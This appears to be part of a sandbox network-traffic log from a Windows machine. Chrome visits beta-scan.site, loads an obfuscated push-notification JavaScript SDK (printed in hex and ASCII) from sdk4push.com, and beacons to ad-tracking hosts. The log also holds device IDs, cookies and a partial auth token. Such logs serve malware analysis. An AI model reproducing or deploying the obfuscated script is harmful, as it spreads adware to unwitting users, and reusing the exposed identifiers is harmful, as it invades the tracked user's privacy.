2024-10-03 15:19:01 UTC	537	OUT	GET /ab HTTP/1.1 Host: evoke-windowsservices-tas.msedge.net Cache-Control: no-store, no-cache X-PHOTOS-CALLERID: 9NMPJ99VJBWV X-EVOKE-RING: X-WINNEXT-RING: Public X-WINNEXT-TELEMETRYLEVEL: Basic X-WINNEXT-OSVERSION: 10.0.19045.0 X-WINNEXT-APPVERSION: 1.23082.131.0 X-WINNEXT-PLATFORM: Desktop X-WINNEXT-CANTAILOR: False X-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd} X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI= If-None-Match: 2056388360_-1434155563 Accept-Encoding: gzip, deflate, br
2024-10-03 15:19:01 UTC	209	IN	HTTP/1.1 400 Bad Request X-MSEdge-Ref: Ref A: 2D4D4C5C07BE47C5910992E06EB38330 Ref B: EWR311000103019 Ref C: 2024-10-03T15:19:01Z Date: Thu, 03 Oct 2024 15:19:01 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.17	55805	157.90.33.122	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:01 UTC	354	OUT	GET /f/sdk.js?z=1211351 HTTP/1.1 Host: sdk4push.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:01 UTC	237	IN	HTTP/1.1 200 OK Server: Angie Date: Thu, 03 Oct 2024 15:19:01 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 53627 Connection: close Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate
2024-10-03 15:19:01 UTC	16147	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 73 63 72 69 70 74 50 61 72 61 6d 73 29 20 7b 76 61 72 20 61 32 5f 30 78 36 38 30 66 3d 5b 22 7a 78 7a 4c 42 4e 72 76 75 4b 57 3d 22 2c 22 79 78 6a 4a 41 67 4c 30 7a 77 6e 30 44 78 6a 4c 22 2c 22 43 4d 66 55 7a 67 39 54 22 2c 22 6c 63 62 4f 44 68 72 57 6f 49 61 3d 22 2c 22 7a 32 76 30 73 77 35 5a 44 67 66 53 42 65 6e 56 42 4e 72 4c 45 68 71 3d 22 2c 22 30 6a 2f 71 56 54 63 36 30 6c 64 71 54 59 64 72 47 39 63 59 30 6c 78 71 54 6e 63 2b 30 6c 5a 71 55 39 63 31 30 6c 33 71 55 6e 63 35 22 2c 22 41 77 35 55 7a 78 6a 69 76 65 31 6d 22 2c 22 42 33 62 4c 42 4c 72 59 79 77 6e 52 72 65 69 3d 22 2c 22 7a 67 76 4d 79 78 76 53 44 61 3d 3d 22 2c 22 79 32 66 4a 41 67 75 3d 22 2c 22 43 4d 76 30 44 78 6a 55 22 2c 22 43 32 48 56 44 77 58 4b 75 Data Ascii: (function(scriptParams) {var a2_0x680f=["zxzLBNrvuKW=","yxjJAgL0zwn0DxjL","CMfUzg9T","lcbODhrWoIa=","z2v0sw5ZDgfSBenVBNrLEhq=","0j/qVTc60ldqTYdrG9cY0lxqTnc+0lZqU9c10l3qUnc5","Aw5Uzxjive1m","B3bLBLrYywnRrei=","zgvMyxvSDa==","y2fJAgu=","CMv0DxjU","C2HVDwXKu
2024-10-03 15:19:01 UTC	16384	IN	Data Raw: 65 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 61 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 76 61 72 20 72 3d 61 32 5f 30 78 34 31 62 30 3b 74 72 79 7b 75 28 69 5b 72 28 22 30 78 33 62 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 61 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 6e 29 7b 76 61 72 20 72 3d 61 32 5f 30 78 34 31 62 30 3b 6e 5b 72 28 22 30 78 62 65 22 29 5d 3f 78 28 6e 5b 72 28 22 30 78 37 37 22 29 5d 29 3a 74 28 6e 5b 72 28 22 30 78 37 37 22 29 5d 29 5b 72 28 22 30 78 35 65 22 29 5d 28 63 2c 6f 29 7d 75 28 28 69 3d 69 5b 65 28 22 30 78 61 62 22 29 5d 28 6e 2c 72 7c 7c 5b 5d 29 29 5b 65 28 22 30 78 38 65 22 29 5d 28 29 29 7d 29 29 7d 2c 63 3d 74 68 69 73 26 26 74 68 69 73 5b 74 28 22 30 78 31 38 22 29 5d 7c 7c 66 Data Ascii: e")](n))}catch(n){a(n)}}function o(n){var r=a2_0x41b0;try{u(i[r("0x3b")](n))}catch(n){a(n)}}function u(n){var r=a2_0x41b0;n[r("0xbe")]?x(n[r("0x77")]):t(n[r("0x77")])[r("0x5e")](c,o)}u((i=i[e("0xab")](n,r\|\|[]))[e("0x8e")]())}))},c=this&&this[t("0x18")]\|\|f
2024-10-03 15:19:01 UTC	16384	IN	Data Raw: 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 78 28 22 30 78 32 22 29 26 26 28 75 5b 53 79 6d 62 6f 6c 5b 22 69 74 65 72 61 74 6f 72 22 5d 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 29 2c 75 3b 66 75 6e 63 74 69 6f 6e 20 73 28 6e 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 76 28 5b 6e 2c 72 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 69 29 7b 76 61 72 20 74 3d 78 3b 69 66 28 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 74 28 22 30 78 35 31 22 29 29 3b 77 68 69 6c 65 28 75 26 26 28 75 3d 30 2c 69 5b 30 5d 26 26 28 61 3d 30 29 29 2c 61 29 74 72 79 7b 69 66 28 65 3d 31 2c 63 26 26 28 6f 3d 69 5b 30 5d 26 32 3f 63 5b 74 28 22 30 78 64 39 22 29 5d 3a 69 5b 30 5d 3f 63 5b 74 28 Data Ascii: of Symbol===x("0x2")&&(u[Symbol["iterator"]]=function(){return this}),u;function s(n){return function(r){return v([n,r])}}function v(i){var t=x;if(e)throw new TypeError(t("0x51"));while(u&&(u=0,i[0]&&(a=0)),a)try{if(e=1,c&&(o=i[0]&2?c[t("0xd9")]:i[0]?c[t(
2024-10-03 15:19:02 UTC	4712	IN	Data Raw: 70 74 22 5d 3d 6c 2c 79 5b 22 64 65 22 5d 3d 64 2c 79 5b 22 66 72 22 5d 3d 68 2c 79 5b 22 69 74 22 5d 3d 43 2c 79 5b 22 69 64 22 5d 3d 47 2c 79 5b 22 74 68 22 5d 3d 67 3b 76 61 72 20 7a 3d 79 7d 2c 72 5b 6e 28 22 30 78 62 62 22 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 78 29 7b 76 61 72 20 69 3d 6e 3b 78 5b 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 5d 3d 21 21 5b 5d 2c 78 5b 22 73 6c 65 65 70 22 5d 3d 78 5b 69 28 22 30 78 39 35 22 29 5d 3d 78 5b 69 28 22 30 78 64 61 22 29 5d 3d 78 5b 22 69 73 53 61 66 61 72 69 22 5d 3d 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 6e 3d 69 3b 72 65 74 75 72 6e 20 6e 61 76 69 67 61 74 6f 72 5b 6e 28 22 30 78 65 38 22 29 5d 26 26 6e 61 76 69 67 61 74 6f 72 5b 6e 28 22 30 78 65 38 22 29 5d 5b 22 69 6e 64 Data Ascii: pt"]=l,y["de"]=d,y["fr"]=h,y["it"]=C,y["id"]=G,y["th"]=g;var z=y},r[n("0xbb")]=function(r,x){var i=n;x["__esModule"]=!![],x["sleep"]=x[i("0x95")]=x[i("0xda")]=x["isSafari"]=void 0;function t(){var n=i;return navigator[n("0xe8")]&&navigator[n("0xe8")]["ind

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.17	55806	178.63.248.56	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:01 UTC	554	OUT	OPTIONS /sync?user_id=z7YIJmA5V79T4qGeMcPXsF HTTP/1.1 Host: uidsync.net Connection: keep-alive Cache-Control: max-age=0 Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: content-type Origin: https://beta-scan.site User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:02 UTC	750	IN	HTTP/1.1 204 No Content Server: Angie Date: Thu, 03 Oct 2024 15:19:01 GMT Connection: close Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization, X-CSRF-Token Access-Control-Expose-Headers: Authorization Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate, no-store Pragma: no-cache Expires: Tue, 11 Jan 1994 00:00:00 GMT Accept-Ch: Sec-CH-UA, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Model, Sec-CH-UA-Bitness, Sec-CH-UA-Wow64

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.17	55810	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:02 UTC	1073	OUT	GET /zone?pub=0&zone_id=6508804&is_mobile=false&domain=beta-scan.site&var=&ymid=&var_3=&var_4=&dsig=&tg=1&sw=3.1.560&trace_id=afd3b0fa-fea6-4dbc-aad1-0dc291521744&action=settings&ch=eyJhcmNoaXRlY3R1cmUiOiJ4ODYiLCJiaXRuZXNzIjoiNjQiLCJicmFuZHMiOlt7ImJyYW5kIjoiR29vZ2xlIENocm9tZSIsInZlcnNpb24iOiIxMTcifSx7ImJyYW5kIjoiTm90O0E9QnJhbmQiLCJ2ZXJzaW9uIjoiOCJ9LHsiYnJhbmQiOiJDaHJvbWl1bSIsInZlcnNpb24iOiIxMTcifV0sImZ1bGxWZXJzaW9uTGlzdCI6W3siYnJhbmQiOiJHb29nbGUgQ2hyb21lIiwidmVyc2lvbiI6IjExNy4wLjU5MzguMTQ5In0seyJicmFuZCI6Ik5vdDtBPUJyYW5kIiwidmVyc2lvbiI6IjguMC4wLjAifSx7ImJyYW5kIjoiQ2hyb21pdW0iLCJ2ZXJzaW9uIjoiMTE3LjAuNTkzOC4xNDkifV0sIm1vYmlsZSI6ZmFsc2UsIm1vZGVsIjoiIiwicGxhdGZvcm0iOiJXaW5kb3dzIiwicGxhdGZvcm1WZXJzaW9uIjoiMTAuMC4wIiwid293NjQiOmZhbHNlfQ== HTTP/1.1 Host: redrotou.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:02 UTC	532	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:02 GMT Content-Type: application/json; charset=utf-8 Content-Length: 565 Connection: close Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, X-Oaid, Content-Type, Accept Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff
2024-10-03 15:19:02 UTC	565	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 63 6f 64 65 22 3a 22 6a 73 54 61 67 50 61 72 61 6d 65 74 65 72 73 22 2c 22 75 6e 73 75 70 70 6f 72 74 65 64 22 3a 66 61 6c 73 65 2c 22 61 66 74 65 72 43 6c 6f 73 65 44 65 6c 61 79 22 3a 33 2c 22 61 6c 6c 6f 77 50 6f 70 75 70 49 66 48 74 74 70 73 44 65 6e 69 65 64 22 3a 74 72 75 65 2c 22 63 75 73 74 6f 6d 50 61 72 61 6d 73 47 65 6f 22 3a 22 75 73 22 2c 22 63 75 73 74 6f 6d 50 61 72 61 6d 73 49 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 6a 6f 75 74 65 65 74 75 2e 6e 65 74 22 2c 22 66 6f 72 63 65 53 74 61 6e 64 61 6c 6f 6e 65 22 3a 74 72 75 65 2c 22 69 6e 6a 65 63 74 69 6f 6e 73 22 3a 6e 75 6c 6c 2c 22 69 6e 73 74 61 6c 6c 5f 63 74 78 22 3a 7b 22 63 Data Ascii: {"status":true,"code":"jsTagParameters","unsupported":false,"afterCloseDelay":3,"allowPopupIfHttpsDenied":true,"customParamsGeo":"us","customParamsIp":"8.46.123.33","domain":"https://jouteetu.net","forceStandalone":true,"injections":null,"install_ctx":{"c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.17	55811	2.23.209.185	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:02 UTC	2583	OUT	GET /client/config?cc=CH&setlang=en-CH HTTP/1.1 X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-UserAgeClass: Unknown X-BM-Market: CH X-BM-DateFormat: dd/MM/yyyy X-Device-OSSKU: 48 X-BM-DTZ: -240 X-DeviceID: 01000A41090080B6 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDoAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAYyPFNLXP1hAhSIOhR0APQnSyFEzDcBEUbfnAcSMDF9OhNOuW2KvjJ60WuahEWt6oA2egj7i5gSfWYJtSlDXk2VI1irXc/a4MLwfeuw4b1IOJe55g5bm5JAfSeo1fMoi2ssVo8uDjn3Pq1PCkyEXpWGml7CibERa8pP5UfKl77i0GGXZHRVEjo9C0Scq6Z0esWeANPy09a0Q5HjRxlyNv3XYi8u1kD09fn/pMUR%2BjXKTCHNC%2BLEEcvIAlN7YJYE4rnZToKC%2BSFPIgMHfzfP1J0sI8WD9B3FFksxhYoziV1pq/G6PsHXWzKAJiyv38FouF1iWNylpfTx3tLabgUIWuYYQZgAAEJ7RtevDNhczTuAkA3LbHXOwAd9kwMmY0MH5dtXVTtR19GCGUh7UqAS5Rodo8siuki9JjjKrsg3PElh4lmBVCwMdB1xbo4B%2BRdRLnDbKL0MSSM0vxG0LqpGQisFMywTr2tv9XN6zXtKoTP8wDgSbBg8%2Bluy6QFIO9MnYIwOPm/yjcMs4CkMjZrqCYvCILkIDe9vJBjPeytHeFLFO4yGK91Iw2ftDuNH5FlWQqGxxS%2BZZKIgROtfG3LelTgMpdmwy1AGB2WqeQbl//rmT5a8t1%2BsBIyf%2BOvnshxvFAloGfKzFuSi4DPhzlO3p/jNLvy%2BitZ1v83zfEbB15BgtL9h6r%2BB3AugrPMvrnNU%2BPhsVn4gh4/nA7gkfc9RR3Ets7z/9DVbHOI8JzPzXHwzK5Pxi9tL6ebjzsKnW3nRLn1fFFJSgk8kUdWUxJ77yf4Up4I2ndjjLzvVYtOk5yCII4u5AWHIWF2HAk71zHm57t4gMFgWxC9qtzedGKULzZ%2BifTLm/K7cSlmSj89aG4e4IhuST%2BFxnL6y9QWXjky048w90KmCQS5HlThx6uDl4DTXgiViti/XjaQ6gQ6e [TRUNCATED] X-Agent-DeviceId: 01000A41090080B6 X-BM-CBT: 1727968739 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 X-Device-isOptin: false Accept-language: en-GB, en, en-US X-Device-Touch: false X-Device-ClientSession: 3C1514128A404081B7041E19861EFA6F X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI Host: www.bing.com Connection: Keep-Alive Cookie: SRCHUID=V=2&GUID=C4EAB6C130004333A34B5668AE4E4D10&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en; MUID=4590362BB5CF472B95BBEDB3112D4B7B; MUIDB=4590362BB5CF472B95BBEDB3112D4B7B
2024-10-03 15:19:02 UTC	1148	IN	HTTP/1.1 200 OK Content-Length: 2215 Content-Type: application/json; charset=utf-8 Cache-Control: private X-EventID: 66feb5e67b3b4ad3afa08e70525d3952 X-AS-SetSessionMarket: de-ch UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Thu, 03 Oct 2024 15:19:02 GMT Connection: close Set-Cookie: _EDGE_S=SID=288691137ACB63D83C31841E7B036251&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: ANON=A=84BEA1DAAAB85FA790252CDAFFFFFFFF; domain=.bing.com; expires=Tue, 28-Oct-2025 15:19:02 GMT; path=/; secure; SameSite=None Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/; secure; SameSite=None Set-Cookie: _SS=SID=288691137ACB63D83C31841E7B036251; domain=.bing.com; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.1ed01702.1727968742.12ab7b58
2024-10-03 15:19:02 UTC	2215	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.17	55814	139.45.195.8	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:02 UTC	462	OUT	GET /gid.js?pub=0&userId=&zoneId=6508804&checkDuplicate=true&ymid=&var=&source=pusher HTTP/1.1 Host: my.rtmark.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ID=0180ea07f3dc4373ec03d20d44583ff0
2024-10-03 15:19:02 UTC	681	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:02 GMT Content-Type: application/json; charset=utf-8 Content-Length: 65 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization,X-CSRF-Token Access-Control-Expose-Headers: Authorization Access-Control-Allow-Credentials: true Timing-Allow-Origin: * Set-Cookie: ID=0180ea07f3dc4373ec03d20d44583ff0; expires=Fri, 03 Oct 2025 15:19:02 GMT; secure; SameSite=None Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *
2024-10-03 15:19:02 UTC	65	IN	Data Raw: 7b 22 67 69 64 22 3a 22 30 31 38 30 65 61 30 37 66 33 64 63 34 33 37 33 65 63 30 33 64 32 30 64 34 34 35 38 33 66 66 30 22 2c 22 73 6b 69 70 53 75 62 73 63 72 69 62 65 22 3a 66 61 6c 73 65 7d 0a Data Ascii: {"gid":"0180ea07f3dc4373ec03d20d44583ff0","skipSubscribe":false}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.17	55812	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:02 UTC	608	OUT	POST /event HTTP/1.1 Host: redrotou.net Connection: keep-alive Content-Length: 783 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:02 UTC	783	OUT	Data Raw: 7b 22 63 6f 64 65 22 3a 22 63 75 73 74 6f 6d 22 2c 22 7a 6f 6e 65 5f 69 64 22 3a 36 35 30 38 38 30 34 2c 22 73 77 5f 76 65 72 73 69 6f 6e 22 3a 22 33 2e 31 2e 35 36 30 22 2c 22 74 72 61 63 65 5f 69 64 22 3a 22 61 66 64 33 62 30 66 61 2d 66 65 61 36 2d 34 64 62 63 2d 61 61 64 31 2d 30 64 63 32 39 31 35 32 31 37 34 34 22 2c 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 62 65 74 61 2d 73 63 61 6e 2e 73 69 74 65 2f 63 31 64 35 6c 32 6b 2e 70 68 70 3f 6b 65 79 3d 67 38 30 6b 64 32 77 6e 72 69 65 33 79 74 73 37 6d 61 34 35 26 63 6f 73 74 3d 30 2e 30 39 30 30 30 26 63 61 6d 70 5f 69 64 3d 37 36 36 37 31 36 26 63 6f 75 6e 74 72 79 3d 55 53 26 70 6c 61 74 66 6f 72 6d 3d 57 69 6e 64 6f 77 73 26 7a 6f 6e 65 5f 69 64 3d 26 73 6f 75 72 63 65 5f 69 64 3d Data Ascii: {"code":"custom","zone_id":6508804,"sw_version":"3.1.560","trace_id":"afd3b0fa-fea6-4dbc-aad1-0dc291521744","location":"https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=
2024-10-03 15:19:02 UTC	552	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:02 GMT Content-Type: application/json; charset=utf-8 Content-Length: 26 Connection: close Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, X-Oaid, Content-Type, Accept Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff
2024-10-03 15:19:02 UTC	26	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 63 6f 64 65 22 3a 22 22 7d 0a Data Ascii: {"status":true,"code":""}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.17	55817	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:02 UTC	608	OUT	POST /event HTTP/1.1 Host: redrotou.net Connection: keep-alive Content-Length: 782 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:02 UTC	782	OUT	Data Raw: 7b 22 63 6f 64 65 22 3a 22 63 75 73 74 6f 6d 22 2c 22 7a 6f 6e 65 5f 69 64 22 3a 36 35 30 38 38 30 34 2c 22 73 77 5f 76 65 72 73 69 6f 6e 22 3a 22 33 2e 31 2e 35 36 30 22 2c 22 74 72 61 63 65 5f 69 64 22 3a 22 61 66 64 33 62 30 66 61 2d 66 65 61 36 2d 34 64 62 63 2d 61 61 64 31 2d 30 64 63 32 39 31 35 32 31 37 34 34 22 2c 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 62 65 74 61 2d 73 63 61 6e 2e 73 69 74 65 2f 63 31 64 35 6c 32 6b 2e 70 68 70 3f 6b 65 79 3d 67 38 30 6b 64 32 77 6e 72 69 65 33 79 74 73 37 6d 61 34 35 26 63 6f 73 74 3d 30 2e 30 39 30 30 30 26 63 61 6d 70 5f 69 64 3d 37 36 36 37 31 36 26 63 6f 75 6e 74 72 79 3d 55 53 26 70 6c 61 74 66 6f 72 6d 3d 57 69 6e 64 6f 77 73 26 7a 6f 6e 65 5f 69 64 3d 26 73 6f 75 72 63 65 5f 69 64 3d Data Ascii: {"code":"custom","zone_id":6508804,"sw_version":"3.1.560","trace_id":"afd3b0fa-fea6-4dbc-aad1-0dc291521744","location":"https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=
2024-10-03 15:19:02 UTC	552	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:02 GMT Content-Type: application/json; charset=utf-8 Content-Length: 26 Connection: close Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, X-Oaid, Content-Type, Accept Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff
